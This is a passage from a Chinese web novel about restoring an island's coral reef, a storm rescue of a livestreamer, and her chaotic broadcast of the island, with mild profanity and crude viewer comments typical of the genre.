苏甜的心跳加速。她接过这凝聚了古老技艺,滚烫[眼泪]和系统蓝图的手工面罩。指尖能感受到藤蔓的坚韧,帆布的粗糙和胶封边缘的温润光滑。她深吸一口气,学着阿土的样子,将面罩扣在脸上。
藤蔓骨架的弧度,出乎意料地贴合她的脸型。虽然帆布内衬有些硬,但还在可接受范围。她调整好头带,固定稳当。
然后,她抬起了头。
目光穿透那片多层鱼鳔压合而成的观察窗。
嗡!
仿佛整个世界被瞬间按下了静音键,又被重新赋予了最清晰的色彩!
灯塔底层昏暗的光线,跳跃的火焰,飞舞的尘埃,斑驳的墙壁,老卡尔沟壑纵横的脸,阿土因激动而涨红的脸颊,角落里堆放的杂物。所有的一切,都以一种前所未有的,锐利到极致的清晰度,撞入她的视野!
没有水波的扭曲和晃动,没有光线的散射和模糊,一切物体的边缘都清晰得如同刀刻!
色彩的饱和度被奇妙地提升,火焰的橘红更加炽烈,墙壁的灰败更加深沉。甚至连空气中漂浮的,平时肉眼难辨的微尘,都如同拥有了清晰的轮廓,在光线中缓缓沉浮!
这感觉,如同一直蒙在眼前的毛玻璃被骤然揭开!一个被忽略的,无比丰富的微观世界,猝不及防地在她眼前纤毫毕现!
震撼!难以言喻的视觉震撼!
苏甜甚至忘了呼吸,只是贪婪地,近乎痴迷地透过这片小小的鱼鳔窗,重新[认识]着这个她以为早已熟悉的环境。每一个细节都充满了新鲜感,每一道纹理都诉说着被忽略的故事。
“水下,会更好。”老卡尔沙哑的声音,打破了苏甜的沉醉。他看着苏甜脸上那毫不掩饰的震撼,嘴角似乎又牵动了一下,极其细微。
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“试试?”
苏甜猛地回过神,用力点头,眼中燃烧着迫不及待的光芒。阿土也挣扎着想站起来,被老卡尔一个眼神按了回去。
“你,看火。”老卡尔指了指火塘,又拿起另外的材料和剩下的[眼泪]树脂。面罩,还需要再做两个。
翌日清晨,风平浪静。海水经过一夜的沉淀,呈现出一种迷人的,介于蓝绿之间的清澈色调,阳光毫无阻碍地穿透水面,将海底世界映照得如同剔透的水晶宫。
苏甜站在齐腰深,微凉的海水中。脸上戴着那副藤蔓骨架,帆布主体,胶封边缘深琥珀色的自制浮潜面罩。老卡尔站在她身旁,同样戴着一副刚做好的面罩,浑浊的目光透过鱼鳔观察窗,如同最精密的扫描仪,警惕地巡视着周围。
苏甜调整了一下呼吸,对着老卡尔点了点头。然后,她深吸一口气,身体前倾,缓缓地将头埋入清澈的海水之中。
哗。
水流轻柔地拂过面罩。预想中的海水压迫感和视野模糊并未出现。
一个全新的,无比清晰,无比瑰丽,无比震撼的水下世界。如同徐徐展开的巨幅画卷,瞬间占满了她的全部视野!
阳光如同液态的金子,被海水分割成无数道摇曳的光柱,斜斜地射入水下。清澈!前所未有的清澈!没有了水波和气泡的干扰,没有了光线的散射,视野的清晰度甚至远超在灯塔底层的测试!
脚下是洁白细腻,如同糖霜般的沙地(【固沙海草】的功劳)。沙粒的轮廓清晰可见,几只小小的,半透明的寄居蟹背着重重的螺壳,在沙地上留下细密的足迹。
前方,便是那片寄托了无限希望的珊瑚礁盘。
首先映入眼帘的,是昨日那片被修复液【亲吻】过的区域!在清晰得令人心颤的视野中,那片巴掌大小的鹿角珊瑚上,那点点的微褐色光泽,比昨日更加明显了一些!
虽然依旧黯淡如蒙尘的旧铜,但范围似乎略微扩大,尤其是在几个珊瑚虫杯口周围。那抹褐色透着一丝温润的暖意,在周围死寂的惨白底色衬托下,顽强地宣告着生命的存在!如同绝望沙漠中倔强钻出的第一丛绿芽!
几条昨天未曾见过的,身体两侧有着鲜明黄蓝条纹,只有手指长短的小鱼,正试探性地在这片微褐色的珊瑚区域附近轻盈地游弋!
它们灵巧地穿梭在珊瑚枝桠间,小小的鱼鳍快速扇动,给这片死寂之地带来了一抹灵动!
更让苏甜心跳加速的是,就在那片微褐色珊瑚的下方,一块扁平的黑褐色礁石上。一只婴儿巴掌大小,如同用最纯净蓝宝石雕琢而成的海星,正缓缓地移动着它五条粗壮的腕足!
它通体呈现出一种深邃,纯净,毫无杂质的宝石蓝色。在阳光穿透的海水中,散发着梦幻般的光泽!腕足上的管足清晰可见,正吸附着礁石表面,缓慢而坚定地前行,仿佛一位优雅的,巡视着新领地的蓝宝石贵族!
而在不远处。那窝橘黄色的,如同微型灯笼般的小丑鱼卵团旁,那条守护的橘黑条纹亲鱼,此刻的行为更加耐人寻味。它不再焦躁地死守原地,而是显得有些[犹豫不决]。
它频繁地朝着苏甜所在的,那片微褐色珊瑚的方向探头探脑。小小的身体在卵团和珊瑚之间来回小幅度游动,仿佛在进行着艰难的天人交战。是守护未出世的孩子,还是奔向那片新生的希望之地?
生命的复苏,生态的重新连接,在这清晰无比的视野下,以最直观、最动人的方式上演着!
每一个细节都充满了震撼心灵的伟力!苏甜甚至能感觉到自己因为激动而加速的心跳,撞击着胸腔,在这静谧的水下世界显得格外清晰。
她贪婪地看着,忘记了时间,忘记了呼吸。直到肺部传来轻微的压迫感,她才恋恋不舍地抬起头,破水而出。
哗啦!
她一把掀开面罩,大口呼吸着带着海腥味的清新空气,脸上是难以抑制的激动红晕,眼中闪烁着如同发现新大陆般的光芒!
“卡尔先生!您看到了吗?!那蓝色的海星!那新来的小鱼!还有那窝小丑鱼的亲鱼!”她的声音因为激动而微微颤抖。
老卡尔也浮出水面,掀开面罩。他那张古井无波的脸上,此刻也笼罩着一种深沉的震撼。
他沉默地点了点头,目光再次投向那片水域,浑浊的眼底翻涌着复杂的情绪。有对眼前奇迹的难以置信,有对家园复苏的深切期盼,更有一种守护者见证生命回归的,难以言喻的悸动。
“地方,得有个名字。”老卡尔的声音混着海风,带着一种沧桑的沙哑。他拔出插在腰间皮带上的,那把跟随了他不知多少年,刀身布满细密海浪纹的厚重砍刀。刀刃在阳光下反射出冷冽的寒光。
他迈开步子,走上布满粗粝砂石的滩涂。走向那片珊瑚礁盘边缘一块巨大的,相对平坦的黑色火山岩。他蹲下身,刀尖抵住岩石表面。
“新生花园。”老卡尔的声音不大,却带着一种如同刀锋刮过岩石般的铿锵力道。他手腕沉稳发力,刀尖在坚硬的黑色火山岩上摩擦,发出“嚓,嚓,嚓。”的刺耳声响!石屑飞溅!
他竟是用那把厚重的砍刀,如同最原始的石匠。在坚硬的岩石上,一刀一刀地,刻下四个棱角分明,带着粗粝力量感的字迹。
【新生花园】!
每一道刻痕都深嵌岩石,带着老卡尔手臂的力量和岛屿守护者的决心。这四个字,不仅是为这片珊瑚区命名,更是为这座岛屿,为他们的未来,刻下的誓言!
苏甜看着那在阳光下反射着冷光的刀锋和岩石上逐渐成形的深刻字迹,心中涌起一股滚烫的热流。新生花园!这名字承载着希望,也宣告着战斗的开始!
就在这时,一直趴在岸边礁石上,虽然不能下水但一直眼巴巴看着的阿土。突然指着离【新生花园】核心区稍远一点,靠近更深水域的一片摇曳的褐色海藻林边缘,兴奋地大喊起来。
“苏姐!爷爷!快看那边!那是什么鱼群?昨天绝对没有!”
苏甜和老卡尔,立刻顺着阿土手指的方向望去。
只见那片摇曳的海藻林边缘,清澈的海水中。不知何时出现了一群数量约有二三十条,身体呈流线型,背部泛着金属般幽蓝光泽,腹部银白的小型鱼群!
它们如同训练有素的士兵,排列成紧密的纺锤形队列,在海藻林边缘快速而灵活地穿梭游弋,时而集体转向,银白的腹部在阳光折射下闪烁出大片耀眼的光芒!
它们游速极快,动作整齐划一,带着一种充满力量的美感,与这片刚刚复苏的海域显得有些。格格不入?但又充满了勃勃生机!
这突如其来的,充满活力的鱼群,如同投入平静湖面的又一颗石子!它们从何而来?为何突然出现在这片昨日还死气沉沉的海域边缘?
老卡尔握着刻刀的手停在岩石上,刻到一半的[园]字最后一笔悬而未决。
他眯起浑浊的眼睛,锐利的目光穿透海面,紧紧锁住那群快速游弋的幽蓝鱼群,眉头缓缓地、不易察觉地皱了起来。
那眼神里,不再是单纯的欣喜,而是多了一丝审视和疑虑?
27. 第27章
老卡尔那把厚重砍刀停在黑色火山岩上,【新生花园】的[园]字最后一笔悬而未决。刀锋反射的冷光刺得人眼疼。他浑浊的眼睛如同鹰隼,死死锁在海藻林边缘那群幽蓝鱼群上。
那群鱼排列紧密,游速极快,整齐划一的转向闪烁着大片刺眼的银光,带着一种训练有素般的冷酷精准,与这片刚刚萌发一丝生机的【新生花园】格格不入。
“不像,本地的鱼。”老卡尔的声音混着海风,带着砂纸摩擦铁锈的质感,眉头拧成一个深刻的川字。疑虑如同冰冷的藤蔓,悄然爬上心头。
苏甜也皱紧了眉。这群鱼出现得太突兀,太不合时宜。难道是修复液的气息吸引了它们?还是某种未知变化的先兆?她刚想开口询问,天空骤然暗了下来!
刚才还碧蓝如洗的天空,仿佛被一只无形的巨手瞬间泼上了浓墨!大片大片铅灰色的厚重云层如同奔涌的兽群,从海平线尽头以惊人的速度翻滚堆叠而来,遮蔽了阳光!
海风陡然变得狂暴,带着咸腥的湿冷气息,卷起沙滩上的细沙,抽打在裸露的皮肤上,生疼!平静的海面瞬间被撕碎,翻涌起浑浊的白沫,浪头一个高过一个,带着沉闷的咆哮声狠狠砸向礁石!
风暴!毫无预兆的近海风暴边缘!
“回去!”老卡尔猛地站起身,古铜色的脸上是前所未有的凝重。他不再看那群诡异的鱼群,反手将砍刀插回腰间皮带,动作快如闪电。
浑浊的眼睛扫过阿土还垫着石头,敷着厚厚草药的伤腿,又看向苏甜。
“快!”
阿土也慌了神,挣扎着想爬起来,却被突如其来的大风刮得一个趔趄。苏甜立刻上前扶住他,两人顶着呼啸的狂风,艰难地朝小屋方向挪动。
老卡尔则如同海岸边最稳固的礁石,逆着风大步走在前面,用身体为两人劈开风势。
风越来越大,卷起的砂砾打在脸上如同针扎。海浪的咆哮声震耳欲聋,浑浊的海水夹杂着破碎的海草和泡沫,不断冲刷着滩涂,迅速淹没了他们刚刚留下的脚印。
天空被铅灰色的云层彻底覆盖,低垂得仿佛要压到海面。云层深处不时亮起一道道无声的,惨白色的闪电,将翻滚的云海映照得如同狰狞的巨兽内脏。
就在三人艰难地挪到小屋附近,那片相对高些的优化沙地边缘时。
一阵比海浪咆哮更加尖锐,更加刺耳的引擎嘶吼声,混合着女人惊恐欲绝的尖叫声,撕裂了风暴的喧嚣,从波涛汹涌的海面传来!
“救命啊!!!要死啦!!!”
苏甜猛地回头!
只见在距离海岸线不足百米,浪涛最为汹涌混乱的海域。一艘极其扎眼的小型摩托艇,正如同狂风中的落叶般疯狂颠簸,旋转!
那艇身被喷涂成夸张的荧光粉和亮蓝色,艇尾插着一面小小的,印着卡通鲨鱼图案的旗子。在狂风中猎猎作响,几欲撕裂!
驾驶摩托艇的是一个身影!
一头湿透的,染成火焰般亮眼的粉红色短发紧贴在脸上,身上穿着同样荧光扎眼的橙色救生衣。她整个人死死趴在剧烈颠簸的艇身上,双手拼命抓着方向舵,但摩托艇显然已经失控!
引擎发出刺耳而不祥的“嘎嘎”声,排气管喷出浓黑的烟雾。艇身随着狂暴的浪涌剧烈地上下抛掷,左右旋转,随时可能被一个浪头彻底拍翻或者直接撞上不远处嶙峋的黑色礁石群!
更让苏甜瞳孔收缩的是,那粉发女孩即使在这生死攸关的时刻。她的一只手里,竟然还死死攥着一根长长的,顶端固定着一个黑色方形物体的金属杆?那金属杆随着摩托艇的疯狂颠簸,在空中胡乱挥舞!
是自拍杆!她在直播?!
“救命!谁来救救我啊!老铁们。我要没了啊!!!”女孩绝望的哭喊和语无伦次的直播话语,被狂风撕扯得断断续续,清晰地传了过来!
“操!”一向沉默如石的老卡尔,盯着那艘在死亡浪尖上疯狂蹦跶的粉红摩托艇和女孩手中挥舞的自拍杆,从牙缝里狠狠挤出了一句苏甜从未听过的,充满原始暴戾气息的岛民脏话!
那浑浊的眼睛里瞬间爆发出骇人的凶光,如同被激怒的守护海兽!
救人?那失控的摩托艇,随时可能爆炸或者撞成碎片!在这狂暴的风浪里,靠近就是九死一生!不救?眼睁睁看着一个活生生的人(还是个拿着自拍杆的麻烦)在眼前被大海吞噬?
就在这电光火石之间!
“爷爷!苏姐!我去!”一声带着痛楚却异常坚定的低吼在苏甜耳边炸响!
是阿土!
他不知何时已经甩开了苏甜的搀扶,那条受伤的右腿还微微颤抖着,草药包裹下的小腿肚绷得死紧,脸色因剧痛和用力而煞白!
但他的眼神却燃烧着一种不顾一切的,属于海之子的疯狂光芒!话音未落,他如同离弦之箭,拖着那条伤腿,以一种近乎悲壮的姿势,猛地朝着汹涌扑来的巨浪白沫,一头扎了进去!
“阿土!”苏甜的心瞬间提到了嗓子眼!他腿上有伤!这狂暴的海浪!
“找死!”老卡尔的怒吼被狂风吞没大半,他浑浊的眼睛瞬间赤红!但阿土的身影,已经消失在翻涌的浑浊浪沫之中!
老卡尔没有任何犹豫,紧随其后,如同投海的巨石,“噗通”一声也扎进了狂暴的海水!
他入水的姿势带着一种一往无前的决绝,目标明确。不是摩托艇,而是阿土消失的那片浪涌!他要确保自己孙子的安全!哪怕搭上这条老命!
苏甜站在被海水迅速淹没的沙滩上,狂风卷起的浪花抽打着她,冰冷刺骨。她的心如同被一只冰冷的手攥紧,几乎无法呼吸!
只能死死地盯着那片翻滚着白沫,吞噬了阿土和老卡尔身影的死亡海域。以及那艘依旧在浪尖绝望蹦跶,离锋利礁石群越来越近的粉红摩托艇!
时间仿佛被拉长。
每一秒,都像一个世纪般煎熬。
轰隆!
一个巨大的浪头,狠狠砸在摩托艇侧面!艇身被高高抛起,几乎垂直立起!粉发女孩发出撕心裂肺的尖叫,手中的自拍杆脱手飞出!
就在摩托艇即将被下一个浪头拍向尖锐礁石,粉身碎骨的瞬间!
哗啦!
艇身侧前方的浑浊浪沫中,猛地冒出一个脑袋!是阿土!
他脸色惨白如纸,嘴唇因剧痛和寒冷而发紫,那条受伤的右腿在水中不自然地拖曳着,每一次蹬水都带着巨大的痛苦!但他眼中燃烧着疯狂的火焰!
他借着浪涌的力量,如同一条搏命的箭鱼,猛地扑向那失控的摩托艇!双手如同铁钳,死死抓住了艇身侧面的一个把手!
几乎同时。老卡尔的身影,如同鬼魅般出现在摩托艇另一侧!他粗糙的大手,精准地抓住了女孩胡乱挥舞的手臂!力量之大,几乎要将她的骨头捏碎!
“松手!跳!”老卡尔的怒吼在浪涛中炸响,带着不容置疑的威严和一丝不易察觉的焦急(为阿土)!
女孩被这突如其来的巨力和怒吼震懵了,下意识地松开了紧抓着方向舵的手。
老卡尔猛地发力,如同拖拽一袋货物,粗暴地将尖叫的女孩从即将撞上礁石的摩托艇上硬生生拽了下来!同时,他另一只手闪电般探出,抓住了阿土因为剧痛而有些脱力的胳膊!
“走!”老卡尔一声暴喝,双腿爆发出惊人的力量,拖着两个累赘。借着回涌的海浪,奋力向岸边游去!阿土咬着牙,用那条完好的左腿拼命蹬水配合。
轰!咔!!!
就在他们脱离的下一秒,失控的粉红摩托艇被一个巨浪狠狠拍在嶙峋的黑色礁石上!发出一声令人牙酸的金属扭曲和爆裂的巨响!
引擎舱瞬间变形,浓烟和火光猛地窜起!破碎的荧光色塑料碎片和零件如同烟花般四散飞溅!紧接着,一个更大的浪头扑来,将残骸彻底吞没,卷走!
好险!
苏甜冲到齐膝深的海水里,心脏狂跳。老卡尔拖着湿透昏迷(惊吓过度?)的粉发女孩和脸色惨白,几乎虚脱的阿土,踉跄着踏上沙滩。
他一把将女孩丢在相对干燥的高处沙地上,女孩像条离水的鱼一样剧烈咳嗽起来,吐出不少海水。
“腿,怎么样?”老卡尔的声音带着喘息,浑浊的眼睛死死盯着阿土那条被海水浸泡后,草药散开,露出狰狞伤口的小腿。伤口被海水泡得发白,边缘红肿,还在渗着血丝。
阿土瘫坐在沙滩上,大口喘着气,脸上是劫后余生的虚脱和难以忍受的剧痛。
他勉强摇了摇头,声音嘶哑“还行,死不了。”但额头上豆大的冷汗和紧咬的牙关出卖了他。
苏甜立刻蹲下身检查阿土的伤口,眉头紧锁。伤口被海水浸泡,感染风险剧增!必须马上重新处理!
就在这时,那个被老卡尔粗暴丢在沙滩上的粉发女孩猛地咳嗽了几声,竟然挣扎着坐了起来!
她浑身湿透,荧光橙救生衣滴滴答答淌着水。粉红色的头发糊在脸上,像只落汤鸡,狼狈不堪。她眼神涣散了几秒,似乎在确认自己是否还活着。
然后,她的目光下意识地四处扫视,似乎在寻找什么。
下一秒,她的视线定格在几步之外,被海浪冲上岸边的一堆破碎杂物上。半截扭曲的金属自拍杆,以及一个被防水壳严密包裹着的黑色方形物体。她的手机!
几乎是职业本能!女孩眼中涣散的光芒,瞬间被一种近乎偏执的
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狂热取代!她连滚带爬地扑过去,一把抓起那个湿漉漉的防水手机壳,手忙脚乱地打开!
屏幕亮起!镜头居然还工作着!(防水壳立功了)
女孩脸上瞬间爆发出狂喜!劫后余生的巨大情绪和职业的亢奋瞬间压倒了恐惧和狼狈!
她甚至忘了自己身处何地,忘了刚刚死里逃生。猛地将镜头对准了自己那张沾满沙子,湿发凌乱,却写满亢奋的脸,用尽全身力气嘶吼起来,声音尖锐得几乎破音。
“老铁们!!!看见没!!!老娘差点就挂了!!!啊啊啊啊!!!太TM刺激了!!!”她语无伦次,胸口剧烈起伏,但眼睛亮得吓人。
“但是!但是!你们猜怎么着?!老娘没死!!!被救了!!!被野人。不对不对!被超级牛逼的原住民帅哥救了!!”她激动地将镜头猛地一转!
镜头瞬间捕捉到。近处,是瘫坐在沙滩上,脸色惨白,小腿伤口狰狞还渗着血的阿土(湿透的背心勾勒出少年精瘦的肌肉线条)。
稍远处,是浑身湿透,如同铁塔般沉默矗立,正用凌厉目光扫视海面,脸上那道疤痕在阴沉天光下更显凶悍的老卡尔。
再远一点,是蹲在阿土身边,侧脸沾着沙粒,眉头紧锁检查伤口的苏甜(简单的白裙湿透贴在身上,勾勒出姣好身形,海藻般的微卷长发也沾着沙粒)。
“家人们!快看!!!”粉发女孩的声音,因为激动而颤抖变形,充满了难以置信的亢奋。
“地狱开局变天堂?!这破岛不对劲!绝对不对劲!!!”她猛地将镜头拉远,疯狂地扫过周围的景象。
镜头里。细腻洁白如同糖霜,在阴沉天光下依然泛着柔和光泽的沙滩(【固沙海草】效果)!
沙滩后方,那座造型独特,由厚实海草屋顶和藤蔓墙体构成,在狂风中屹立不倒的生态小屋!
小屋旁,绿意盎然,生机勃勃的薯田(【速生薯种】)!更远处,是风暴中依旧碧蓝(相对),却波涛汹涌的神秘海域!
“看见没?!这沙!白得跟面粉似的!踩上去比地毯还软!这屋子!藤蔓编的!草盖的顶!台风都刮不倒!还有。”镜头再次猛地怼到阿土那张因疼痛和虚弱,而显得格外[有故事感]的年轻脸庞上。
“原住民帅哥!!!帅炸了好吗!还救了老娘的命!啊啊啊!这什么神仙地方?!”
阿土被这突如其来的镜头怼脸和[帅哥]称呼弄得措手不及!他苍白的脸上瞬间爆红,一直红到了耳朵根!
他慌乱地想用手挡住脸,又牵动了腿上的伤口,疼得倒吸一口冷气。表情更加扭曲复杂,在镜头里呈现出一种糅合了痛苦、羞涩、狼狈和少年英气的奇异[破碎感]。
琳达(显然这就是她的名字)显然捕捉到了这[精彩]瞬间,更加兴奋地尖叫起来。
“啊啊啊!害羞了!老铁们!刷波火箭安慰一下受伤的帅哥!!”
苏甜被这突如其来的直播和琳达的咋咋呼呼,弄得眉头皱得更紧。她站起身,挡在阿土和镜头之间,语气带着一丝冷意和不容置疑“够了!他需要处理伤口!把镜头关了!”
琳达被苏甜冷冽的目光和气势慑得一滞,亢奋的情绪稍微冷却。她这才后知后觉地感受到全身的冰冷和劫后余生的虚脱,还有旁边那个铁塔般老人身上散发出的,让她本能感到畏惧的凶悍气息。
她讪讪地移开怼着阿土的镜头,但职业本能让她依旧没有关闭直播,只是将镜头转向了波涛汹涌的大海和阴沉天空,嘴里还在念念叨叨。
“家人们,信号好像不太好了。风浪太大,但你们看到了吧?这地方,邪门!但绝对有料!等我。等我缓缓再播。”
她一边说着,一边下意识地往后退了两步,想找个相对干燥的地方坐下。脚下却突然被一个半埋在湿沙里的硬物绊了一下!
“哎哟!”琳达一个趔趄,差点摔倒,手机镜头也随之一晃。
镜头画面瞬间扫过她脚下那片,被海浪冲刷得凌乱的沙滩边缘。
画面中,一个半埋在湿漉漉的沙子里,闪烁着冷硬金属光泽的圆柱形物体一角。在阴沉的天光下,一闪而过!
那东西。不像是摩托艇的残骸碎片,倒像是某种压缩空气瓶的瓶口?银色的金属材质,带着工业制品的冰冷感。
镜头一晃而过,琳达的注意力显然不在脚下,她骂骂咧咧地站稳,根本没留意到刚才拍到了什么。
但一直沉默如礁石,用锐利目光警惕扫视着海面和沙滩的老卡尔,浑浊的眼睛却猛地眯了起来!
他的视线如同精准的探针,瞬间锁定了琳达刚才差点绊倒的地方。
那片湿沙下,露出的那一点刺眼的银色反光!
28. 第28章
老卡尔布满厚茧的赤脚无声地碾过洁白细沙,刀尖精准地挑起那截半埋在沙粒里的银色金属瓶口。
金属在午后阳光下反射出冰冷刺眼的光,边缘带着被暴力撕裂的锯齿状断口。他浑浊的眼睛眯成一条缝,刀尖微微转动,将那点寒光折射向琳达正亢奋挥舞着的手机镜头。
琳达正唾沫横飞。“家人们!看见没!这龙虾!这活力!阿土小帅哥刚下海捞的!纯野生!纯天然!刺身级别的鲜甜!老铁们火箭刷起来,待会儿直播炭烤。”
她余光瞥见老卡尔刀尖的寒光,亢奋的解说戛然而止,像被掐住脖子的鸡,脸上闪过一丝本能的畏惧,下意识地把镜头往旁边偏了偏。
老卡尔什么也没说,只是用刀尖将那截冰冷的银色瓶口往自己破旧的裤腰上一别,动作自然得像别了根草茎。
他浑浊的目光扫过琳达,又落在被阿土笨拙地按在沙滩上,还在徒劳地挥舞着大螯的青壳龙虾,最后定格在苏甜脸上。
那眼神沉甸甸的,带着无声的警告和疑问。这聒噪的女人,这该死的镜头,这突然出现的金属垃圾,麻烦!
苏甜深吸一口气,海风带着沙粒的微腥和风暴残留的湿冷。她强迫自己忽略那截刺眼的银色和老卡尔眼中的疑虑,上前一步,不着痕迹地挡在了琳达的镜头和阿土之间,也挡住了老卡尔那让人不安的审视目光。
“琳达”苏甜的声音不高,却带着一种奇异的穿透力,瞬间压过了琳达的咋呼和龙虾挣扎的窸窣声。“直播可以。但,有规矩。”
琳达眼睛瞬间亮了,像饿狼看见了肉,哪里还顾得上什么银色瓶口。立刻把镜头转回来,对准苏甜沾着沙粒却异常沉静的侧脸。
“规矩?懂!姐懂!流量分成好说!姐不是忘恩负义的人!救命之恩!绝对把你这宝地吹爆!吹上天!”她语速飞快,唾沫星子几乎要喷到手机屏幕上。
“第一。”苏甜无视她的激动,目光平静地直视着琳达手机镜头后那双亢奋的眼睛,仿佛能穿透屏幕看到那端无数的窥视。“镜头跟着我。我说拍哪里,就拍哪里。我说停,立刻停。”
琳达脸上的兴奋僵了一下,眼珠飞快地转了转。似乎在权衡[流量自由]和[救命恩人]的分量,最终在苏甜那不容置疑的目光下,夸张地垮下肩膀,做了个投降的手势。
“行行行!你是岛主你最大!听你的!”
“第二。”苏甜的目光扫过阿土敷着厚厚草药,依旧红肿的小腿。“阿土需要休息,别再打扰他。”她的语气带着一丝不容反驳的冷意。
阿土本来因为被叫[帅哥]和镜头怼脸而通红的脸颊瞬间更红了。他感激地看了苏甜一眼,又飞快地低下头。笨拙地用没受伤的手死死按住那只还在扑腾的龙虾,仿佛那是他此刻唯一能抓住的救命稻草。
琳达讪讪地“哦”了一声,把镜头从阿土身上移开,嘴里小声嘀咕。“可惜了,破碎感帅哥也是流量密码啊。”
“第三。”苏甜的目光投向远处那片被风暴摧残过的狼藉。倒伏断裂的棕榈树,被连根拔起的灌木,散落的枯枝烂叶。与眼前这片洁白神奇,小屋安稳,薯田葱郁的区域形成了触目惊心的对比。
“这里的一切,源于自然,归于自然。不要问为什么,只需要看。”她的话像是对琳达说,更像是对镜头后面无数双眼睛宣告。
“懂!神秘感!姐懂!”琳达立刻满血复活,小鸡啄米般点头,瞬间切换回亢奋模式。
“家人们!听见没!岛主发话了!咱这就带大家探秘!跟上跟上!镜头走起!”
苏甜不再理会她,转身,迈步。她的步伐沉稳,目标明确。那片被【固沙海草】根系牢牢守护,在风暴后依旧洁白如初,细腻如糖霜的沙滩。
琳达立刻像个忠诚的跟拍PD,举着手机,亦步亦趋地跟在苏甜斜后方。镜头紧紧锁定苏甜赤着的,沾着些许沙粒的双脚。
那双脚踩在洁白得耀眼的沙地上,每一步落下,细沙都如同有生命般温柔地包裹住脚掌。随即又随着抬脚,从趾缝间如同温润的丝绸般流淌溢出,在阳光下闪烁着细腻柔和的光泽。
沙地上留下清晰的脚印,轮廓分明,深浅均匀,如同精心拓印的艺术品。
“卧槽!卧槽!卧槽!”琳达的尖叫几乎要刺破麦克风。
“家人们!快看这沙!这脚感!这色泽!原相机直出!无滤镜!无美颜!这沙子是吃德芙长大的吗?!丝滑!太丝滑了!马尔代夫?马尔代夫给它提鞋都不配!!”
她的镜头疯狂地推进,拉远。特写苏甜脚趾间流泻的沙粒,全景展现这片与周围风暴废墟格格不入的洁白奇迹。弹幕瞬间爆炸,密密麻麻几乎覆盖了整个屏幕!
【????P图狗!举报了!】
【坐标发来!老子带地质锤验货!】
【这脚,prprpr。(被屏蔽)】
【沙雕吧?刚刮完台风沙能这么白?特效!绝对是特效!】
【楼上傻逼!没看见旁边树都倒了吗?对比这么明显!】
苏甜仿佛没听到琳达的尖叫和弹幕的喧嚣,她步履不停,引着镜头走向那片在风暴中屹立不倒的生态小屋。
镜头近距离捕捉到厚实坚韧,深绿色的海草屋顶(边缘还沾着几片风暴卷来的枯叶),纵横交错,被强化藤蔓剂浸透得油亮坚韧,编织成墙体框架的藤蔓,以及镶嵌其中,作为填充物的干燥棕榈叶和苔藓。
一切都原始,粗犷,却透着一种与自然完美融合的和谐与坚固。
“看见没!家人们!”琳达的声音带着一种发现宝藏的颤抖。
“藤蔓!草顶!纯手工!纯天然!台风都刮不倒!什么叫环保豪宅?什么叫顶级设计?那些钢筋混凝土的垃圾!在这屋子面前都是弟弟!”
她的镜头刻意扫过远处几棵被连根拔起的大树残骸,废墟的狼藉与小屋的安稳形成极致反差。
“看看那边!刚被台风犁过地!再看看这边!天堂啊!科学?科学在这里就是个屁!岛主!岛主快说说!这是不是外星科技?!”她激动地把话筒(手机)怼向苏甜。
苏甜微微侧身,避开过于靠近的镜头,声音平静无波,如同叙述一个简单的事实。
“材料来自岛上,设计顺应自然。风暴是考验,它扛住了,仅此而已。”她的话点到即止,将神秘感和解释权牢牢握在自己手中。弹幕又是一片[装逼犯]、[高手在民间]、[肯定是剧本]的混战。
镜头转向绿意盎然的薯田。翠绿的薯苗在优化后的沙地上蓬勃生长,叶片肥厚油亮,在阳光下舒展着旺盛的生命力。苏甜蹲下身,手指轻轻拂过一片嫩叶,镜头给了个特写。
“自给自足!纯天然有机!”琳达立刻接棒。
“看见没!荒岛求生?人家是荒岛度假!种菜养。呃,抓海鲜!这才叫生活!这才叫境界!那些天天点外卖的弱鸡!脸红不红!”
就在这时,一直被阿土按在沙滩上,不甘寂寞的青壳龙虾,终于找到了机会!它强壮有力的尾部猛地一弹!阿土本就因为腿伤和紧张而力道不稳,手心一滑!
“啪嗒!”
那只挥舞着大螯,活力四射的青壳龙虾。不偏不倚,正好砸在了凑近拍摄薯田的琳达光着的脚背上!
“嗷!!!”琳达发出一声堪比海豚音的凄厉惨叫,手机差点脱手!她触电般跳起来,抱着被龙虾壳砸痛的脚背单腿乱蹦,形象全无。
弹幕瞬间被【哈哈哈哈哈哈】刷屏!
【报应!让你嘚瑟!】
【龙虾。听说你想烤我?】
【节目效果爆炸!关注了!】
【阿土小哥哥,干得漂亮!(手动狗头)】
混乱中,一只布满泥痕和老茧,如同古铜色树根般的赤脚,沉稳地踏入镜头画面。是老卡尔。他面无表情地弯腰,粗糙的大手,精准地捏住那只在沙地上还想溜走的龙虾背壳。
另一只手,那把跟随他多年,刀身带着细密海浪纹的厚重砍刀不知何时已握在手中。
刀光一闪!
快!准!狠!
“咔嚓!”
龙虾还在挥舞的狰狞螯钳和不安分的头部,瞬间与身体分离!干脆利落!切口平整!分离的虾身和螯钳在沙地上还条件反射地抽搐了几下。
老卡尔看都没看镜头,也没看抱着脚龇牙咧嘴的琳达,提着还
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在滴落透明粘液的龙虾躯干,转身就走。只留给镜头一个佝偻却如山岳般沉稳的背影,和那把滴着水的,寒光凛冽的砍刀。
画面静止了。
琳达抱着脚,忘了喊疼,目瞪口呆地看着老卡尔离去的背影。
直播间也诡异地安静了一瞬。随即,弹幕以更疯狂的速度炸开!
【卧槽!这老爷子!人狠话不多!】
【刀法!这刀法!跪了!】
【刚才那杀气,隔着屏幕我腿软了。】
【真荒野美食,从捕捞到处理一条龙。】
【这岛,太TM邪性了!粉了粉了!】
琳达猛地回过神,也顾不上脚疼了,脸上瞬间爆发出比刚才更甚的亢奋红光!她一把抓起手机,镜头激动地对准老卡尔远去的背影,又扫过沙地上还在抽搐的龙虾残肢,最后定格在自己扭曲兴奋的脸上。
“看见没!家人们!原生态!硬核!什么叫硬核求生?什么叫实力圈粉?这老爷子!这刀法!这龙虾!还有这白沙滩!这神仙小屋!这自留地!这破岛。不!这宝岛!绝了!关注琳达不迷路!带你解锁更多荒岛奇。哎哟!”
她光顾着吼,没注意脚下,又差点被沙地里一个凸起的小硬块绊倒,镜头剧烈晃动。
混乱的镜头画面里,沙滩边缘。那个被老卡尔别在裤腰上的银色金属瓶口,在剧烈晃动中一闪而过,冰冷的反光刺了一下屏幕。
千里之外,海市顶级公寓的落地窗前。
柳薇薇身上裹着真丝睡袍,慵懒地陷在昂贵的丝绒沙发里,指尖捏着一杯如血般嫣红的红酒。超大屏幕的壁挂电视上,正播放着琳达直播间里那混乱而极具冲击力的画面。
